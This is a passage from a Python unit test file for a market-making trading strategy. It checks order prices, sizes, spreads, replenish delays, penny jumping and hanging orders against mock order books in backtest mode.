ask_order: LimitOrder = self.strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
def test_market_became_narrower(self):
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
bid_order: LimitOrder = self.strategy.active_bids[0][1]
ask_order: LimitOrder = self.strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.maker_data.order_book.apply_diffs([OrderBookRow(99.5, 30, 2)], [OrderBookRow(100.5, 30, 2)], 2)
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(1, len(self.strategy.active_bids))
self.assertEqual(1, len(self.strategy.active_asks))
bid_order = self.strategy.active_bids[0][1]
ask_order = self.strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
def test_order_fills_after_cancellation(self):
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
bid_order: LimitOrder = self.strategy.active_bids[0][1]
ask_order: LimitOrder = self.strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(2, len(self.cancel_order_logger.event_log))
bid_order: LimitOrder = self.strategy.active_bids[0][1]
ask_order: LimitOrder = self.strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.simulate_limit_order_fill(self.maker_market, bid_order)
self.simulate_limit_order_fill(self.maker_market, ask_order)
fill_events = self.maker_order_fill_logger.event_log
self.assertEqual(2, len(fill_events))
bid_fills: List[OrderFilledEvent] = [evt for evt in fill_events if evt.trade_type is TradeType.SELL]
ask_fills: List[OrderFilledEvent] = [evt for evt in fill_events if evt.trade_type is TradeType.BUY]
self.assertEqual(1, len(bid_fills))
self.assertEqual(1, len(ask_fills))
self.maker_order_fill_logger.clear()
def test_strategy_after_user_cancels_orders(self):
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(1, len(self.strategy.active_bids))
self.assertEqual(1, len(self.strategy.active_asks))
bid_order: LimitOrder = self.strategy.active_bids[0][1]
ask_order: LimitOrder = self.strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.strategy.cancel_order(self.market_info, bid_order.client_order_id)
self.strategy.cancel_order(self.market_info, ask_order.client_order_id)
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(0, len(self.strategy.active_bids))
self.assertEqual(0, len(self.strategy.active_asks))
def test_strategy_with_transaction_costs(self):
self.clock.remove_iterator(self.strategy)
logging_options: int = (PureMarketMakingStrategyV2.OPTION_LOG_ALL &
(~PureMarketMakingStrategyV2.OPTION_LOG_NULL_ORDER_SIZE))
self.strategy_with_tx_costs: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filled_order_delay=self.order_refresh_time,
add_transaction_costs_to_orders=True,
filter_delegate=self.filter_delegate,
sizing_delegate=self.constant_sizing_delegate,
pricing_delegate=self.constant_pricing_delegate,
order_refresh_time=45,
logging_options=logging_options
)
self.clock.add_iterator(self.strategy_with_tx_costs)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(1, len(self.strategy_with_tx_costs.active_bids))
self.assertEqual(1, len(self.strategy_with_tx_costs.active_asks))
# Fees are zero here, check whether order placements are working
bid_order: LimitOrder = self.strategy_with_tx_costs.active_bids[0][1]
ask_order: LimitOrder = self.strategy_with_tx_costs.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
# Check if orders are placed after order_refresh_time
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(2, len(self.cancel_order_logger.event_log))
bid_order: LimitOrder = self.strategy_with_tx_costs.active_bids[0][1]
ask_order: LimitOrder = self.strategy_with_tx_costs.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
# Check if order fills are working
self.simulate_limit_order_fill(self.maker_market, bid_order)
self.simulate_limit_order_fill(self.maker_market, ask_order)
fill_events = self.maker_order_fill_logger.event_log
self.assertEqual(2, len(fill_events))
bid_fills: List[OrderFilledEvent] = [evt for evt in fill_events if evt.trade_type is TradeType.SELL]
ask_fills: List[OrderFilledEvent] = [evt for evt in fill_events if evt.trade_type is TradeType.BUY]
self.assertEqual(1, len(bid_fills))
self.assertEqual(1, len(ask_fills))
self.maker_order_fill_logger.clear()
def test_external_exchange_price_source(self):
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.ext_exc_price_strategy)
end_ts = self.start_timestamp + self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(1, len(self.ext_exc_price_strategy.active_bids))
# There should be no sell order, since its price will be below first bid order on the order book.
self.assertEqual(0, len(self.ext_exc_price_strategy.active_asks))
# check price data from external exchange is used for order placement
bid_order: LimitOrder = self.ext_exc_price_strategy.active_bids[0][1]
self.assertEqual(Decimal("49.5"), bid_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
def test_external_exchange_price_source_empty_orderbook(self):
self.simulate_order_book_widening(self.maker_data.order_book, 0, 10000)
self.assertEqual(0, len(list(self.maker_data.order_book.bid_entries())))
self.assertEqual(0, len(list(self.maker_data.order_book.ask_entries())))
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.ext_exc_price_strategy)
end_ts = self.start_timestamp + self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(1, len(self.ext_exc_price_strategy.active_bids))
self.assertEqual(1, len(self.ext_exc_price_strategy.active_asks))
# check price data from external exchange is used for order placement
bid_order: LimitOrder = self.ext_exc_price_strategy.active_bids[0][1]
self.assertEqual(Decimal("49.5"), bid_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
ask_order: LimitOrder = self.ext_exc_price_strategy.active_asks[0][1]
self.assertEqual(Decimal("50.5"), ask_order.price)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
def test_multi_order_external_exchange_price_source(self):
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.multi_orders_ext_exc_price_strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(5, len(self.multi_orders_ext_exc_price_strategy.active_bids))
self.assertEqual(0, len(self.multi_orders_ext_exc_price_strategy.active_asks))
first_bid_order: LimitOrder = self.multi_orders_ext_exc_price_strategy.active_bids[0][1]
self.assertEqual(Decimal("49.5"), first_bid_order.price)
self.assertEqual(Decimal("1.0"), first_bid_order.quantity)
last_bid_order: LimitOrder = self.multi_orders_ext_exc_price_strategy.active_bids[-1][1]
last_bid_price = Decimal(49.5 * (1 - 0.01) ** 4).quantize(Decimal("0.001"))
self.assertAlmostEqual(last_bid_price, last_bid_order.price, 3)
self.assertEqual(Decimal("1.0"), last_bid_order.quantity)
def test_multi_order_external_exchange_price_source_empty_order_book(self):
self.simulate_order_book_widening(self.maker_data.order_book, 0, 10000)
self.assertEqual(0, len(list(self.maker_data.order_book.bid_entries())))
self.assertEqual(0, len(list(self.maker_data.order_book.ask_entries())))
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.multi_orders_ext_exc_price_strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(5, len(self.multi_orders_ext_exc_price_strategy.active_bids))
self.assertEqual(5, len(self.multi_orders_ext_exc_price_strategy.active_asks))
first_bid_order: LimitOrder = self.multi_orders_ext_exc_price_strategy.active_bids[0][1]
self.assertEqual(Decimal("49.5"), first_bid_order.price)
self.assertEqual(Decimal("1.0"), first_bid_order.quantity)
first_ask_order: LimitOrder = self.multi_orders_ext_exc_price_strategy.active_asks[0][1]
self.assertEqual(Decimal("50.5"), first_ask_order.price)
self.assertEqual(Decimal("1.0"), first_ask_order.quantity)
last_bid_order: LimitOrder = self.multi_orders_ext_exc_price_strategy.active_bids[-1][1]
last_bid_price = Decimal(49.5 * (1 - 0.01) ** 4).quantize(Decimal("0.001"))
self.assertAlmostEqual(last_bid_price, last_bid_order.price, 3)
self.assertEqual(Decimal("1.0"), last_bid_order.quantity)
last_ask_order: LimitOrder = self.multi_orders_ext_exc_price_strategy.active_asks[-1][1]
last_ask_price = Decimal(50.5 * (1 + 0.01) ** 4).quantize(Decimal("0.001"))
self.assertAlmostEqual(last_ask_price, last_ask_order.price, 3)
self.assertEqual(Decimal("1.0"), last_ask_order.quantity)
def test_external_feed_price_source(self):
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.ext_feed_price_strategy)
end_ts = self.start_timestamp + self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(0, len(self.ext_feed_price_strategy.active_bids))
self.assertEqual(1, len(self.ext_feed_price_strategy.active_asks))
# check price data from external exchange is used for order placement
ask_order: LimitOrder = self.ext_feed_price_strategy.active_asks[0][1]
self.assertEqual(Decimal("202"), ask_order.price)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
def test_external_feed_price_source_empty_orderbook(self):
self.simulate_order_book_widening(self.maker_data.order_book, 0, 10000)
self.assertEqual(0, len(list(self.maker_data.order_book.bid_entries())))
self.assertEqual(0, len(list(self.maker_data.order_book.ask_entries())))
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.ext_feed_price_strategy)
end_ts = self.start_timestamp + self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(1, len(self.ext_feed_price_strategy.active_bids))
self.assertEqual(1, len(self.ext_feed_price_strategy.active_asks))
# check price data from external exchange is used for order placement
bid_order: LimitOrder = self.ext_feed_price_strategy.active_bids[0][1]
self.assertEqual(Decimal("198"), bid_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
ask_order: LimitOrder = self.ext_feed_price_strategy.active_asks[0][1]
self.assertEqual(Decimal("202"), ask_order.price)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
def test_spread_configs_update_multiple_mode(self):
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.multi_order_equal_strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(5, len(self.multi_order_equal_strategy.active_bids))
self.assertEqual(5, len(self.multi_order_equal_strategy.active_asks))
first_bid_order: LimitOrder = self.multi_order_equal_strategy.active_bids[0][1]
first_ask_order: LimitOrder = self.multi_order_equal_strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), first_bid_order.price)
self.assertEqual(Decimal("101"), first_ask_order.price)
last_bid_order: LimitOrder = self.multi_order_equal_strategy.active_bids[-1][1]
last_ask_order: LimitOrder = self.multi_order_equal_strategy.active_asks[-1][1]
last_bid_price = Decimal(99 * (1 - 0.01) ** 4).quantize(Decimal("0.01"))
last_ask_price = Decimal(101 * (1 + 0.01) ** 4).quantize(Decimal("0.01"))
self.assertAlmostEqual(last_bid_price, last_bid_order.price, 2)
self.assertAlmostEqual(last_ask_price, last_ask_order.price, 2)
ConfigCommand.update_running_pure_mm(self.multi_order_equal_strategy, "bid_spread", Decimal('2'))
ConfigCommand.update_running_pure_mm(self.multi_order_equal_strategy, "ask_spread", Decimal('2'))
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
first_bid_order: LimitOrder = self.multi_order_equal_strategy.active_bids[0][1]
first_ask_order: LimitOrder = self.multi_order_equal_strategy.active_asks[0][1]
self.assertEqual(Decimal("98"), first_bid_order.price)
self.assertEqual(Decimal("102"), first_ask_order.price)
last_bid_order: LimitOrder = self.multi_order_equal_strategy.active_bids[-1][1]
last_ask_order: LimitOrder = self.multi_order_equal_strategy.active_asks[-1][1]
last_bid_price = Decimal(98 * (1 - 0.01) ** 4).quantize(Decimal("0.01"))
last_ask_price = Decimal(102 * (1 + 0.01) ** 4).quantize(Decimal("0.01"))
self.assertAlmostEqual(last_bid_price, last_bid_order.price, 2)
self.assertAlmostEqual(last_ask_price, last_ask_order.price, 2)
def test_multiple_orders_equal_sizes(self):
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.multi_order_equal_strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(5, len(self.multi_order_equal_strategy.active_bids))
self.assertEqual(5, len(self.multi_order_equal_strategy.active_asks))
first_bid_order: LimitOrder = self.multi_order_equal_strategy.active_bids[0][1]
first_ask_order: LimitOrder = self.multi_order_equal_strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), first_bid_order.price)
self.assertEqual(Decimal("101"), first_ask_order.price)
self.assertEqual(Decimal("1.0"), first_bid_order.quantity)
self.assertEqual(Decimal("1.0"), first_ask_order.quantity)
last_bid_order: LimitOrder = self.multi_order_equal_strategy.active_bids[-1][1]
last_ask_order: LimitOrder = self.multi_order_equal_strategy.active_asks[-1][1]
last_bid_price = Decimal(99 * (1 - 0.01) ** 4).quantize(Decimal("0.001"))
last_ask_price = Decimal(101 * (1 + 0.01) ** 4).quantize(Decimal("0.001"))
self.assertAlmostEqual(last_bid_price, last_bid_order.price, 3)
self.assertAlmostEqual(last_ask_price, last_ask_order.price, 3)
self.assertEqual(Decimal("1.0"), last_bid_order.quantity)
self.assertEqual(Decimal("1.0"), last_ask_order.quantity)
self.simulate_maker_market_trade(True, 5.0)
self.assertEqual(5, len(self.multi_order_equal_strategy.active_bids))
self.assertEqual(4, len(self.multi_order_equal_strategy.active_asks))
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
maker_fill: OrderFilledEvent = self.maker_order_fill_logger.event_log[0]
self.assertEqual(TradeType.SELL, maker_fill.trade_type)
self.assertAlmostEqual(101, maker_fill.price)
self.assertAlmostEqual(1.0, maker_fill.amount)
self.strategy.cancel_order(self.market_info, first_bid_order.client_order_id)
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(0, len(self.strategy.active_bids))
self.assertEqual(0, len(self.strategy.active_asks))
def test_multiple_orders_staggered_sizes(self):
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.multi_order_staggered_strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(5, len(self.multi_order_staggered_strategy.active_bids))
self.assertEqual(5, len(self.multi_order_staggered_strategy.active_asks))
first_bid_order: LimitOrder = self.multi_order_staggered_strategy.active_bids[0][1]
first_ask_order: LimitOrder = self.multi_order_staggered_strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), first_bid_order.price)
self.assertEqual(Decimal("101"), first_ask_order.price)
self.assertEqual(Decimal("1.0"), first_bid_order.quantity)
self.assertEqual(Decimal("1.0"), first_ask_order.quantity)
last_bid_order: LimitOrder = self.multi_order_staggered_strategy.active_bids[-1][1]
last_ask_order: LimitOrder = self.multi_order_staggered_strategy.active_asks[-1][1]
last_bid_price = Decimal(99 * (1 - 0.01) ** 4).quantize(Decimal("0.001"))
last_ask_price = Decimal(101 * (1 + 0.01) ** 4).quantize(Decimal("0.001"))
last_bid_order_size = Decimal(1 + (0.5 * 4)).quantize(Decimal("0.001"))
last_ask_order_size = Decimal(1 + (0.5 * 4)).quantize(Decimal("0.001"))
self.assertAlmostEqual(last_bid_price, last_bid_order.price, 3)
self.assertAlmostEqual(last_ask_price, last_ask_order.price, 3)
self.assertAlmostEqual(last_bid_order_size, last_bid_order.quantity)
self.assertAlmostEqual(last_ask_order_size, last_ask_order.quantity)
self.simulate_maker_market_trade(True, 5.0)
self.assertEqual(5, len(self.multi_order_staggered_strategy.active_bids))
self.assertEqual(4, len(self.multi_order_staggered_strategy.active_asks))
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
maker_fill: OrderFilledEvent = self.maker_order_fill_logger.event_log[0]
self.assertEqual(TradeType.SELL, maker_fill.trade_type)
self.assertAlmostEqual(101, maker_fill.price)
self.assertAlmostEqual(1.0, maker_fill.amount)
self.strategy.cancel_order(self.market_info, first_bid_order.client_order_id)
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size + 1)
self.assertEqual(0, len(self.strategy.active_bids))
self.assertEqual(0, len(self.strategy.active_asks))
self.maker_order_fill_logger.clear()
def test_balance_for_multiple_equal_orders(self):
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.multi_order_equal_strategy)
self.maker_market.set_balance("WETH", 0)
end_ts = self.start_timestamp + self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(0, len(self.multi_order_equal_strategy.active_bids))
self.assertEqual(5, len(self.multi_order_equal_strategy.active_asks))
self.maker_market.set_balance("COINALPHA", 0)
end_ts += self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(0, len(self.multi_order_equal_strategy.active_bids))
self.assertEqual(0, len(self.multi_order_equal_strategy.active_asks))
self.maker_market.set_balance("COINALPHA", 500)
self.maker_market.set_balance("WETH", 5000)
end_ts += self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(5, len(self.multi_order_equal_strategy.active_bids))
self.assertEqual(5, len(self.multi_order_equal_strategy.active_asks))
def test_balance_for_multiple_staggered_orders(self):
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.multi_order_staggered_strategy)
self.maker_market.set_balance("WETH", 0)
end_ts = self.start_timestamp + self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(0, len(self.multi_order_staggered_strategy.active_bids))
self.assertEqual(5, len(self.multi_order_staggered_strategy.active_asks))
self.maker_market.set_balance("COINALPHA", 0)
end_ts += self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(0, len(self.multi_order_staggered_strategy.active_bids))
self.assertEqual(0, len(self.multi_order_staggered_strategy.active_asks))
self.maker_market.set_balance("COINALPHA", 500)
self.maker_market.set_balance("WETH", 5000)
end_ts += self.clock_tick_size
self.clock.backtest_til(end_ts)
self.assertEqual(5, len(self.multi_order_staggered_strategy.active_bids))
self.assertEqual(5, len(self.multi_order_staggered_strategy.active_asks))
def test_replenish_delay(self):
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.delayed_placement_strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(1, len(self.delayed_placement_strategy.active_bids))
self.assertEqual(1, len(self.delayed_placement_strategy.active_asks))
ask_order: LimitOrder = self.delayed_placement_strategy.active_asks[0][1]
self.simulate_limit_order_fill(self.maker_market, ask_order)
# Ask is filled and due to delay is not replenished immediately
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
self.assertEqual(1, len(self.delayed_placement_strategy.active_bids))
self.assertEqual(0, len(self.delayed_placement_strategy.active_asks))
# Orders are placed after replenish delay
self.clock.backtest_til(self.start_timestamp + 4 * self.clock_tick_size)
self.assertEqual(1, len(self.delayed_placement_strategy.active_bids))
self.assertEqual(1, len(self.delayed_placement_strategy.active_asks))
# Prices are not adjusted according to filled price as per settings
bid_order: LimitOrder = self.delayed_placement_strategy.active_bids[0][1]
ask_order: LimitOrder = self.delayed_placement_strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.maker_order_fill_logger.clear()
def test_replenish_delay_multiple_fills(self):
self.clock.remove_iterator(self.strategy)
self.clock.add_iterator(self.delayed_placement_strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(1, len(self.delayed_placement_strategy.active_bids))
self.assertEqual(1, len(self.delayed_placement_strategy.active_asks))
ask_order: LimitOrder = self.delayed_placement_strategy.active_asks[0][1]
bid_order: LimitOrder = self.delayed_placement_strategy.active_bids[0][1]
self.simulate_limit_order_fill(self.maker_market, ask_order)
# Ask is filled and due to delay is not replenished immediately
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
self.assertEqual(1, len(self.delayed_placement_strategy.active_bids))
self.assertEqual(0, len(self.delayed_placement_strategy.active_asks))
self.simulate_limit_order_fill(self.maker_market, bid_order)
# Even if both orders are filled, orders are not placed due to delay
self.clock.backtest_til(self.start_timestamp + 3 * self.clock_tick_size)
self.assertEqual(0, len(self.delayed_placement_strategy.active_bids))
self.assertEqual(0, len(self.delayed_placement_strategy.active_asks))
# Orders are placed after replenish delay
self.clock.backtest_til(self.start_timestamp + 4 * self.clock_tick_size)
self.assertEqual(1, len(self.delayed_placement_strategy.active_bids))
self.assertEqual(1, len(self.delayed_placement_strategy.active_asks))
# Prices are not adjusted according to filled price as per settings
bid_order: LimitOrder = self.delayed_placement_strategy.active_bids[0][1]
ask_order: LimitOrder = self.delayed_placement_strategy.active_asks[0][1]
self.assertEqual(Decimal("99"), bid_order.price)
self.assertEqual(Decimal("101"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
self.maker_order_fill_logger.clear()
def test_penny_jumping_feature(self):
self.clock.remove_iterator(self.strategy)
self.clock.remove_iterator(self.maker_market)
self.maker_market_2: BacktestMarket = BacktestMarket()
self.maker_data_2: MockOrderBookLoader = MockOrderBookLoader(*self.maker_trading_pairs)
self.maker_data_2.set_balanced_order_book(mid_price=self.mid_price,
min_price=1,
max_price=200,
price_step_size=4,
volume_step_size=10)
self.maker_market_2.add_data(self.maker_data_2)
self.maker_market_2.set_balance("COINALPHA", 500)
self.maker_market_2.set_balance("WETH", 5000)
self.maker_market_2.set_balance("QETH", 500)
self.maker_market_2.set_quantization_param(
QuantizationParams(
self.maker_trading_pairs[0], 6, 6, 6, 6
)
)
self.market_info: MarketTradingPairTuple = MarketTradingPairTuple(
*([self.maker_market_2] + self.maker_trading_pairs)
)
logging_options: int = (PureMarketMakingStrategyV2.OPTION_LOG_ALL &
(~PureMarketMakingStrategyV2.OPTION_LOG_NULL_ORDER_SIZE))
self.penny_jumping_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
pricing_delegate=self.constant_pricing_delegate,
sizing_delegate=self.constant_sizing_delegate,
order_optimization_enabled=True,
order_refresh_time=900,
filled_order_delay=80,
hanging_orders_enabled=True,
logging_options=logging_options
)
self.clock.add_iterator(self.penny_jumping_strategy)
self.clock.add_iterator(self.maker_market_2)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(1, len(self.penny_jumping_strategy.active_bids))
self.assertEqual(1, len(self.penny_jumping_strategy.active_asks))
bid_order: LimitOrder = self.penny_jumping_strategy.active_bids[0][1]
ask_order: LimitOrder = self.penny_jumping_strategy.active_asks[0][1]
# Top bid is 98 and suggested price is 99 from pricing proposal
# With penny jumping, bid price is just one above top bid
self.assertEqual(Decimal("98.0001"), bid_order.price)
# Top ask is 102 and suggested price is 101 from pricing proposal
# With penny jumping, ask price is just one below top ask
self.assertEqual(Decimal("101.999"), ask_order.price)
self.assertEqual(Decimal("1.0"), bid_order.quantity)
self.assertEqual(Decimal("1.0"), ask_order.quantity)
class PureMarketMakingV2HangingOrderUnitTest(unittest.TestCase):
start: pd.Timestamp = pd.Timestamp("2019-01-01", tz="UTC")
end: pd.Timestamp = pd.Timestamp("2019-01-01 01:00:00", tz="UTC")
start_timestamp: float = start.timestamp()
end_timestamp: float = end.timestamp()
maker_trading_pairs: List[str] = ["COINALPHA-WETH", "COINALPHA", "WETH"]
def setUp(self):
self.clock_tick_size = 1
self.clock: Clock = Clock(ClockMode.BACKTEST, self.clock_tick_size, self.start_timestamp, self.end_timestamp)
self.maker_market: BacktestMarket = BacktestMarket()
self.maker_data: MockOrderBookLoader = MockOrderBookLoader(*self.maker_trading_pairs)
self.mid_price = 100
self.bid_threshold = 0.01
self.ask_threshold = 0.01
self.order_refresh_time = 30
self.maker_data.set_balanced_order_book(mid_price=self.mid_price, min_price=1,
max_price=200, price_step_size=1, volume_step_size=10)
self.constant_pricing_delegate = ConstantSpreadPricingDelegate(Decimal(self.bid_threshold),
Decimal(self.ask_threshold))
self.constant_sizing_delegate = ConstantSizeSizingDelegate(Decimal("1.0"))
self.filter_delegate = PassThroughFilterDelegate()
self.maker_market.add_data(self.maker_data)
self.maker_market.set_balance("COINALPHA", 500)
self.maker_market.set_balance("WETH", 5000)
self.maker_market.set_balance("QETH", 500)
self.maker_market.set_quantization_param(
QuantizationParams(
self.maker_trading_pairs[0], 6, 6, 6, 6
)
)
self.market_info: MarketTradingPairTuple = MarketTradingPairTuple(
*([self.maker_market] + self.maker_trading_pairs)
)
logging_options: int = (PureMarketMakingStrategyV2.OPTION_LOG_ALL &
(~PureMarketMakingStrategyV2.OPTION_LOG_NULL_ORDER_SIZE))
self.hanging_orders_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
pricing_delegate=self.constant_pricing_delegate,
sizing_delegate=self.constant_sizing_delegate,
order_refresh_time=4,
filled_order_delay=8,
hanging_orders_enabled=True,
logging_options=logging_options,
hanging_orders_cancel_pct=0.05
)
self.multiple_order_pricing_delegate = ConstantMultipleSpreadPricingDelegate(
bid_spread=Decimal(self.bid_threshold),
ask_spread=Decimal(self.ask_threshold),
order_level_spread=Decimal("0.01"),
order_levels=Decimal("5")
)
self.equal_sizing_delegate = StaggeredMultipleSizeSizingDelegate(
order_start_size=Decimal("1.0"),
order_step_size=Decimal("0"),
order_levels=Decimal("5")
)
self.multi_orders_hanging_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
pricing_delegate=self.multiple_order_pricing_delegate,
sizing_delegate=self.equal_sizing_delegate,
order_refresh_time=4,
filled_order_delay=8,
hanging_orders_enabled=True,
logging_options=logging_options,
hanging_orders_cancel_pct=0.1
)
self.replenish_delay_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
pricing_delegate=self.constant_pricing_delegate,
sizing_delegate=self.constant_sizing_delegate,
order_refresh_time=4,
filled_order_delay=8,
logging_options=logging_options
)
self.replenish_delay_multiple_strategy: PureMarketMakingStrategyV2 = PureMarketMakingStrategyV2(
[self.market_info],
filter_delegate=self.filter_delegate,
pricing_delegate=self.multiple_order_pricing_delegate,
sizing_delegate=self.equal_sizing_delegate,
order_refresh_time=4,
filled_order_delay=8,
logging_options=logging_options
)
self.logging_options = logging_options
self.clock.add_iterator(self.maker_market)
self.maker_order_fill_logger: EventLogger = EventLogger()
self.cancel_order_logger: EventLogger = EventLogger()
self.maker_market.add_listener(MarketEvent.OrderFilled, self.maker_order_fill_logger)
self.maker_market.add_listener(MarketEvent.OrderCancelled, self.cancel_order_logger)
def test_hanging_orders_feature(self):
strategy = self.hanging_orders_strategy
self.clock.add_iterator(strategy)
self.clock.backtest_til(self.start_timestamp + self.clock_tick_size)
self.assertEqual(1, len(strategy.active_bids))
self.assertEqual(1, len(strategy.active_asks))
bid_order: LimitOrder = strategy.active_bids[0][1]
PureMarketMakingV2UnitTest.simulate_limit_order_fill(self.maker_market, bid_order)
# Bid is filled and due to delay is not replenished immediately
# Ask order is now hanging but is active
self.clock.backtest_til(self.start_timestamp + 2 * self.clock_tick_size)
self.assertEqual(1, len(self.maker_order_fill_logger.event_log))
self.assertEqual(0, len(strategy.active_bids))
self.assertEqual(1, len(strategy.active_asks))
self.assertEqual(1, len(strategy.hanging_order_ids))
hanging_order_id = strategy.hanging_order_ids[0]
# At order_refresh_time (4 seconds), hanging order remains.
self.clock.backtest_til(self.start_timestamp + 5 * self.clock_tick_size)
self.assertEqual(0, len(strategy.active_bids))
self.assertEqual(1, len(strategy.active_asks))
# At filled_order_delay (8 seconds), a new set of bid and ask orders (one each) is created
self.clock.backtest_til(self.start_timestamp + 10 * self.clock_tick_size)
self.assertEqual(1, len(strategy.active_bids))
self.assertEqual(2, len(strategy.active_asks))
self.assertIn(hanging_order_id, [order.client_order_id for market, order in strategy.active_asks])
PureMarketMakingV2UnitTest.simulate_order_book_widening(self.maker_data.order_book, 80, 100)
# As book bids moving lower, the ask hanging order price spread is now more than the hanging_orders_cancel_pct
# Hanging order is canceled and removed from the active list
self.clock.backtest_til(self.start_timestamp + 11 * self.clock_tick_size)
self.assertEqual(1, len(strategy.active_bids))
self.assertEqual(1, len(strategy.active_asks))
self.assertNotIn(strategy.active_asks[0][1].client_order_id, strategy.hanging_order_ids)
# Prices are not adjusted according to filled price as per settings
